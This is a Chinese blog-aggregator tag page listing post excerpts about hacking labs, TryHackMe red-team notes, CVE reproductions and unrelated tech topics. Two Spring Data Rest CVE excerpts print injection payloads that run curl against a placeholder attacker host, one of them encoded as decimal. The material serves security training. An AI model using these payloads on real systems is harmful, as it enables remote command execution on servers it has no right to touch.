HACK

看完这篇 教你玩转渗透测试靶机vulnhub——Hack Me Please: 1

Vulnhub靶机HackMePlease:1渗透测试详解Vulnhub靶机介绍：Vulnhub靶机下载：Vulnhub靶机安装：Vulnhub靶机漏洞详解：①：信息收集：②：漏洞利用③：获取反弹shell
落寞的魚丶·2023-04-12 04:45

看完这篇 教你玩转渗透测试靶机vulnhub——HackNos-2.1

Vulnhub靶机HackNos-2.1渗透测试详解Vulnhub靶机介绍：Vulnhub靶机下载：Vulnhub靶机安装：Vulnhub靶机漏洞详解：①：信息收集：②：漏洞利用：③：SSH登录：④：sudosu
落寞的魚丶·2023-04-12 04:43

看完这篇 教你玩转渗透测试靶机vulnhub——hackableII

Vulnhub靶机hackableII渗透测试详解Vulnhub靶机介绍：Vulnhub靶机下载：Vulnhub靶机安装：Vulnhub靶机漏洞详解：①：信息收集：②：FTP匿名登录：③：回弹shell
落寞的魚丶·2023-04-12 04:42

【vulhub】Spring Data Rest 远程命令执行漏洞 （CVE-2018-1273）

payload：username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curlhttp://vps主机_IP/Hacker
Crazy_Yu8·2023-04-11 21:57

【vulhub】Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

一、启动靶机docker-composeup-d二、生成payloadcurlhttp://xx.xx.xx.xx/Hacker将执行的命令转换十进制99,117,114,108,32,104,116,116,112,58,47,47,120,120,46,120,120,46,120,120,46,120,120,47,72,97,99,107,101,114payload
Crazy_Yu8·2023-04-11 21:57

关于ChatGPT，已到了不得不说的危难时刻

文/高扬（微信公众号：量子论）今天在HackerNews上看到了一篇热文，对应着的是热烈争论。马斯克等科技人士签署公开信，呼吁人工智能实验室立即暂停训练比GPT-4更强大的人工智能系统至少6个月。
成事指南·2023-04-11 16:32

hackthebox的网站使用教程

Google浏览器下载下载url：https://www.google.cn/chrome/hackthebox网站网站url：https://www.hackthebox.com/home获取验证码注册教程网站
Ba1_Ma0·2023-04-11 11:37

JavaScript, CSS, SQL 和 HTML 到底算编程语言吗？

上图就是我们这次调研结果，这次调查我们一共设置了三个选项：是、否和弃权，调查对象主要有HackNews和Reddit的读者组成。
OSC开源社区·2023-04-11 08:18

50 个增长黑客（Growth Hack）案例（Part.4）

（31-40）本篇是第四篇（31-40），前三篇请点击：50个增长黑客（GrowthHack）案例（Part.1）50个增长黑客（GrowthHack）案例（Part.2）50个增长黑客（GrowthHack
极小光·2023-04-11 05:26

2023最新网络安全面试/笔试题大全（整整1000道/含答案）

单引号引起数据库报错访问错误参数或错误路径探针类文件如phpinfo扫描开发未删除的测试文件googlehackingphpmyadmin报路径：/ph
没更新就是没更新·2023-04-11 01:27

小白也可以开发微信小程序（入门篇）

微信搜索VDSHackerFan即可访问小程序导读话不多说，小程序直接附上（↑）。点击图片即可访问，欢迎使用及收藏。
半缘窨茉·2023-04-10 21:02

Hack The Box Lightweight WriteUp

1.端口扫描：发现389端口有LDAP服务运行，尝试利用扫描脚本和匿名账户登录ldap服务器得到以下结果nmap-p389--scriptldap-search--script-args''10.10.10.119ldapssh账户ldapuser27z破解status.phphttps://nxnjz.net/2018/08/an-interesting-privilege-escalation
小猪配不齐·2023-04-10 20:07

基于Hacker News的内容热度推荐算法

前言近期公司产品需要做一个内容推荐的功能，但限于人员和能力有限，经过调研，确定了一个简单相对我们可以实现的方案。一篇文章的产生，随着用户浏览、点赞、分享、收藏、评论，热度逐渐攀升，进入榜单到推荐页面，但随着时间的推移，这篇文章也不能永久的霸占榜单，让后面新产生的文章没有机会到推荐页，因此也就有了时间衰减的因素，从而可以让榜单能够动态的变化，除了上面基本的原理以外，还需要人为干预因素，通过加权或者降
宇行信·2023-04-10 17:47

【Oasis AMA 第 8 场】Oasis 网络：DeFi 发展的优质沃土 2020年12月10日，受Blocklike和DoraHacks的邀请，Oasis参加了【第五期 即刻链接 DeFi...

2020年12月10日，受Blocklike和DoraHacks的邀请，Oasis参加了【第五期即刻链接DeFiFever】线上AMA活动，共同探讨DeFi热点项目最新动态、新兴项目展示以及生态未来合作方向
假的干物妹·2023-04-10 13:58

To Unlock the iPhone X in Bed, Hold it Farther Away from Your Face - Lifehacker

ThenewiPhoneX.FaceID,thenewface-scanningsecuritycameraintroducedintheiPhoneX,worksprettyflawlesslymostofthetime.Butthere’soneplacewhereApple’slatesttechmaybegivingyoutrouble:inbed.作为iPhoneX引入的全新功能，面容I
Bklsjysx·2023-04-10 11:43

前端面试题

由于IE独特的盒模型布局问题，针对不同版本的IE的hack实践过优雅降级了,为那些无法支持功能的浏览器增加候选方案，使之在旧式浏览器上以某种形式降级体验却不至于完全失效.渐进增强：从被所有浏览器支持的基本功能开始
神明sama·2023-04-10 11:23

[HackerRank] [haskell]刷题记录

Haskell功力太弱了，刷一下HackerRank上面的Haskell题目(同时在读Haskell函数式编程入门第二版)，都记录在这个博客里面。
SakamataZ·2023-04-10 10:34

推荐4款Linux系统漏洞扫描、评估工具

本文仅作简介，详细帮助信息请在命令行输入nmap–help或查阅相关官方（NmapFreeSecurityScanner,Tools&Hackingresources）资料。
闪现码狗·2023-04-10 10:24

春秋云镜-内网极限挑战赛-Exchange

Exchange看到奖品还有证书，还涉及oscp方面的东西，过来打打感谢TryHackMeExchange是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、
Sugobet·2023-04-10 09:39

TryHackMe-红队-22_混淆 | 签名规避

SignatureEvasion了解如何使用与工具无关的现代方法破解签名并规避常见的AV。这个房间是混淆原则的继承者;如果您还没有完成，我们强烈建议您在此房间之前完成它。在这个房间里，我们将了解什么是签名以及如何找到它们，然后尝试按照不可知论的思维过程来打破它们。为了更深入地研究并打击启发式签名，我们还将讨论更高级的代码概念和“恶意软件最佳实践”。签名识别在识别签名时，无论是手动还是自动，我们必须
Sugobet·2023-04-10 09:39

TryHackMe-红队-23_绕过UAC

BypassingUAC了解在Windows主机中绕过用户帐户控制（UAC）的常见方法。我们将研究绕过Windows系统可用的安全功能的常见方法，称为用户帐户控制（UAC）。此功能允许以低权限运行任何进程，而与运行该进程的人员（普通用户或管理员）无关。我不会在此记录UAC的概念和作用，仅保留bypassuac基于GUI的bypassmsconfig在Run中打开msconfig，切换到工具这一栏，
Sugobet·2023-04-10 09:39

Welcome to TryHackMe --- 我在TryHackMe学习的第90天

我在TryHackMe学习的第90天自发的thm玩家交流企鹅群：751273347TryHackMe是一个及其优秀的道德嗨客学习平台这三个月里，我在TryHackMe都学了什么TryHackMe的几个路径我觉得是按照
Sugobet·2023-04-10 09:38

TryHackMe-VulnNet: Active（ez 域渗透）

VulnNet:ActiveVulnNetEntertainment在他们以前的网络中遇到了不好的时光，该网络遭受了多次破坏。现在，他们移动了整个基础架构，并再次聘请您作为核心渗透测试人员。您的目标是获得对系统的完全访问权限并破坏域。这应该是我在thm打的最后一个中等难度的域渗透房间了，因为剩下的ad渗透都是定位：难的房间经验之谈：非官方的单域渗透靶机往往都有卡死、非常卡的问题，遇到不对劲直接重启
Sugobet·2023-04-10 09:38

TryHackMe-红队-18_滥用Windows内部

AbusingWindowsInternals从这一章开始，讲的东西也是非常的重要，我个人认为可能对于未来的进一步学习有着重要的影响还是老样子，非必要的情况下，我只展示C#版本的代码利用Windows内部组件，使用与工具无关的现代方法避开常见的检测解决方案。Windows内部是Windows操作系统运行方式的核心;这为对手提供了一个有利可图的恶意使用目标。Windows内部可用于隐藏和执行代码、逃
Sugobet·2023-04-10 09:38

TryHackMe-红队-20_Anti-Virus规避：Shellcode

Anti-VirusEvasion:Shellcode学习shellcode编码、打包、活页夹和加密器。在这个房间里，我们将探讨如何构建和交付有效载荷，重点是避免被常见的AV引擎检测到。我们将研究作为攻击者可用的不同技术，并讨论每种技术的优缺点。PE结构Windows可执行文件格式，又名PE（可移植可执行文件），是一种保存文件所需信息的数据结构。这是一种在磁盘上组织可执行文件代码的方法。Windo
Sugobet·2023-04-10 09:38

TryHackMe-红队-17_Windows API简介

WindowsAPI简介其实很早之前我就完成了红队路径，只是没写笔记，现在开始复习一下红队，根据大佬的建议，我们直接只看.NETC#相关的利用了解如何与win32API交互并了解其广泛的用例WindowsAPI提供本机功能来与Windows操作系统的关键组件进行交互。该API被许多人广泛使用，包括红队成员、威胁参与者、蓝队成员、软件开发人员和解决方案提供商。该API可以与Windows系统无缝集成
Sugobet·2023-04-10 09:08

TryHackMe-红队-13_Windows本地持久性

WindowsLocalPersistence在目标的内部网络上获得第一个立足点后，您需要确保在实际到达皇冠上的宝石之前不会失去对它的访问权限。建立持久性是我们作为攻击者在获得网络访问权限时的首要任务之一。简单来说，持久性是指创建替代方法来重新获得对主机的访问权限，而无需重新经历利用阶段。您希望尽快建立持久性的原因有很多，包括：再利用并不总是可能的：一些不稳定的漏洞利用可能会在利用过程中杀死易受攻
Sugobet·2023-04-10 09:38

TryHackMe-进攻性渗透测试-15_活动目录持久化

PersistingActiveDirectory终于也要接近尾声了，学了好几天的ad，每天花十几个小时进去，这段学习过程还算是有点难度的AD持久性在对AD的攻击期间，我们需要确保部署持久性。这将确保蓝队不能通过简单地轮换一些凭据来将我们踢出去。如前所述，破坏AD的过程是循环的。我们将在妥协AD资产时部署持久性，而不仅仅是在最后。这确保了如果我们的一个位置被蓝队烧毁，我们有几个后备。在这个持久性阶
Sugobet·2023-04-10 09:37

TryHackMe-红队-08_密码攻击

PasswordAttacks密码分析密码攻击技术在线密码攻击密码分析默认密码在执行密码攻击之前，值得针对目标服务尝试几个默认密码。制造商使用交换机，防火墙，路由器等产品和设备设置默认密码。在某些情况下，客户不会更改默认密码，这会使系统容易受到攻击。因此，尝试admin：admin、admin：123456等是一种很好的做法。如果我们知道目标设备，我们可以查找默认密码并尝试一下。例如，假设目标服务
Sugobet·2023-04-10 09:37

TryHackMe-红队-09_网络钓鱼

Phishing了解什么是网络钓鱼以及为什么它对红队参与很重要。您将设置网络钓鱼基础设施，编写令人信服的网络钓鱼电子邮件，并尝试诱骗目标在真实模拟中打开您的电子邮件。简介在了解什么是网络钓鱼之前，您需要了解术语“社会工程”。社会工程是利用人性的弱点对人们进行心理操纵，以执行或泄露信息。这些“弱点”可以是好奇心、嫉妒、贪婪甚至善良以及帮助某人的意愿。网络钓鱼是通过电子邮件传递的社会工程来源，诱骗某人
Sugobet·2023-04-10 09:37

TryHackMe-红队-15_数据外泄

DataExfiltration前面几章之前就已经顺手学过了，就不做笔记了，来看看有意思数据外泄网络犯罪分子出于不同的目的对公司使用各种互联网攻击。在大多数情况下，其中许多攻击都以数据泄露告终，威胁行为者窃取敏感数据以在暗网上出售或在线发布。有人可能会问：威胁行为者如何在不被发现的情况下将被盗数据从公司的网络传输到外部，也称为数据泄露？答案各不相同。威胁参与者可以执行许多技术，包括数据泄露。数据泄
Sugobet·2023-04-10 09:37

TryHackMe-进攻性渗透测试-13_AD_横向移动和旋转

LateralMovementandPivoting什么是横向移动？简而言之，横向移动是攻击者用来在网络中移动的一组技术。一旦攻击者获得了对网络第一台计算机的访问权限，移动就是必不可少的，原因有很多，包括：-实现我们作为攻击者的目标-绕过现有的网络限制-建立额外的网络入口点-制造混乱并避免检测。虽然许多网络杀伤链将横向移动作为线性过程中的额外步骤，但它实际上是循环的一部分。在此周期中，我们使用任何
Sugobet·2023-04-10 09:07

TryHackMe-进攻性渗透测试-20_活动目录-凭据收集

CredentialsHarvesting正如您所见，我把AD凭据收集这个房间拖到了《进攻性渗透测试path》的最后才学。到这里，我们已经完成了《进攻性渗透测试》这个path的所有房间，除了本房间。我把该房间放到我的最后才学，是因为希望借此回顾所有AD的知识，AD很重要！完成本房间，本次进攻性渗透测试的学习就算完成了，那么接下来我会进行大量的进行复习巩固、做room、提升。之后，我会向着下一步前进
Sugobet·2023-04-10 09:07

TryHackMe-红队-24_运行时检测规避

RuntimeDetectionEvasion了解如何使用与工具无关的现代方法绕过常见的运行时检测措施，例如AMSI。AMSIAMSI（Anti-MalwareScanInterface）是一项PowerShell安全功能，允许任何应用程序或服务直接集成到反恶意软件产品中。Defender检测AMSI以在.NET运行时内执行之前扫描有效负载和脚本。仅当从CLR执行时从内存加载时，才会检测AMSI。
Sugobet·2023-04-10 09:50

Hack The Box Frolic WriteUp

这是一道PWN题，知识点在于Ret2LibC攻击，两篇不错的参考文档：http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Return_to_libc/Return_to_libc.pdfhttps://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-re
小猪配不齐·2023-04-10 08:57

ffmpeg的基本用法

title:ffmpeg的基本用法categories:[ffmpeg]tags:[音视频编程]date:2021/11/18作者：hackett微信公众号：加班猿一、ffmpeg的安装1.Centos
加班猿·2023-04-10 06:19

项目期复习总结1：背景图合并，hack，浏览器内核前缀，伪类after before

目录：1、背景图合并和CSSSpirit2、PS基本快捷键3、hack技术基本书写，为什么不用？
一喵呜·2023-04-10 03:39

GNURadio RTL-SDR之LTE-Cell-Scanner

SupportbothFDDandTDDOpenCLacceleratedFullReceiveralgorithmforLTE100RBdownlink(MatlabandGNUOctavescripts)SupportHackRF
LinkEverything·2023-04-10 03:54

XSS的三种攻击及httponly---20200812

真实案例解释XSS的三种攻击XSS:hacker往HTML中注入恶意脚本，浏览器是无法区分脚本是被恶意注入的还是正常的页面脚本，所以恶意注入JavaScript脚本也拥有所有的脚本权限。
颖小李·2023-04-09 23:13

2023年黑客产业研究报告

第一章行业概况黑客一词来源于英文中的“hacker”，原本是指技术高超、熟练掌握计算机技术的人。但随着互联网的普及和网络犯罪的增加，黑客一词逐渐被人们所熟知，并带有了一定的负面含义。
资产信息网·2023-04-09 20:46

Java 虚拟机

可以通过-Xss这个虚拟机参数来指定一个Java虚拟机栈内存大小：java-Xss=512MHackTheJav
yikemi·2023-04-09 18:21

非安全系列教程 NPM、PYPI、DockerHub 备份

Hack编程实例精讲Dockerdockerpullapachecn0/hack-biancheng-shili-jingjiangdockerrun-tid-p:80apachecn0/hack-biancheng-shili-jingjiang
布客飞龙·2023-04-09 11:07

Cookie-Form型CSRF防御机制的不足与反思

今天看了https://hackerone.com/reports/26647有感。这个漏洞很漂亮，另外让我联想到很多之前自己挖过的漏洞和写过的程序，有感而发。
嘿丶小伙计·2023-04-09 10:39

git篇：仓库fork后怎么同步

cddubbo-admin/king@king-server:~/workspace/dubbo-admin$lscmdconfdeployDockerfiledocsdubbo-admin-uigo.modgo.sumhackLICENSEMakefi
一叶知秋@qqy·2023-04-09 05:59

2022牛客杭电多校dp+字符串题目汇总

文章目录牛客：第一场I.Chiitoitsu(期望dp)第二场K.LinkwithBracketSequenceI(括号序列dp)第二场L.LinkwithLevelEditor(线性dp)第三场H.Hacker
jangyi.·2023-04-09 03:34

Shell替换数组元素之间的间隔符号

Shell中的数组是这样表示的：arr=(1,2,3,4,5)它们数组元素的间隔符号为逗号，如果我相把逗号替换为加号：echo${arr//,/+}输出：1+2+3+4+5这个表达式是我在hackerrank
weixin_38168198·2023-04-09 01:36

HackerOne第二名白帽专访：业余挖洞，两年赚 40 万美金

本文讲的是HackerOne第二名白帽专访：业余挖洞，两年赚40万美金，你必须要体谅SeanMelia（meals），他在十万白帽黑客聚集的HackerOne社区只是位列第二名。
weixin_34054866·2023-04-09 01:24

HackerOne第二白帽：业余挖洞，两年赚 40 万美金 ----转

转；http://www.sohu.com/a/130054835_583123你必须要体谅SeanMelia（meals），他在十万白帽黑客聚集的HackerOne社区只是位列第二名。
dengdang7631·2023-04-09 01:45

调查了 12,000 名女性开发者发现，女性比男性更懂 Java！

近日，HackerRa
weixin_33724659·2023-04-08 23:00

15家企业入选2020年中国最佳雇主榜单；《新形势下国企数字化转型之路》白皮书发布 | 美通企业日报...

ShakeShack上海门店推出黑松露系列新品。希尔顿集团携手美团推出48支“希游季”系列大片。赛诺菲杭州生产基地成立25周年，药明生物一体化新业务杭州创新中心正式运营。
美通社·2023-04-08 23:58
上一页 33 34 35 36 37 38 39 40 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他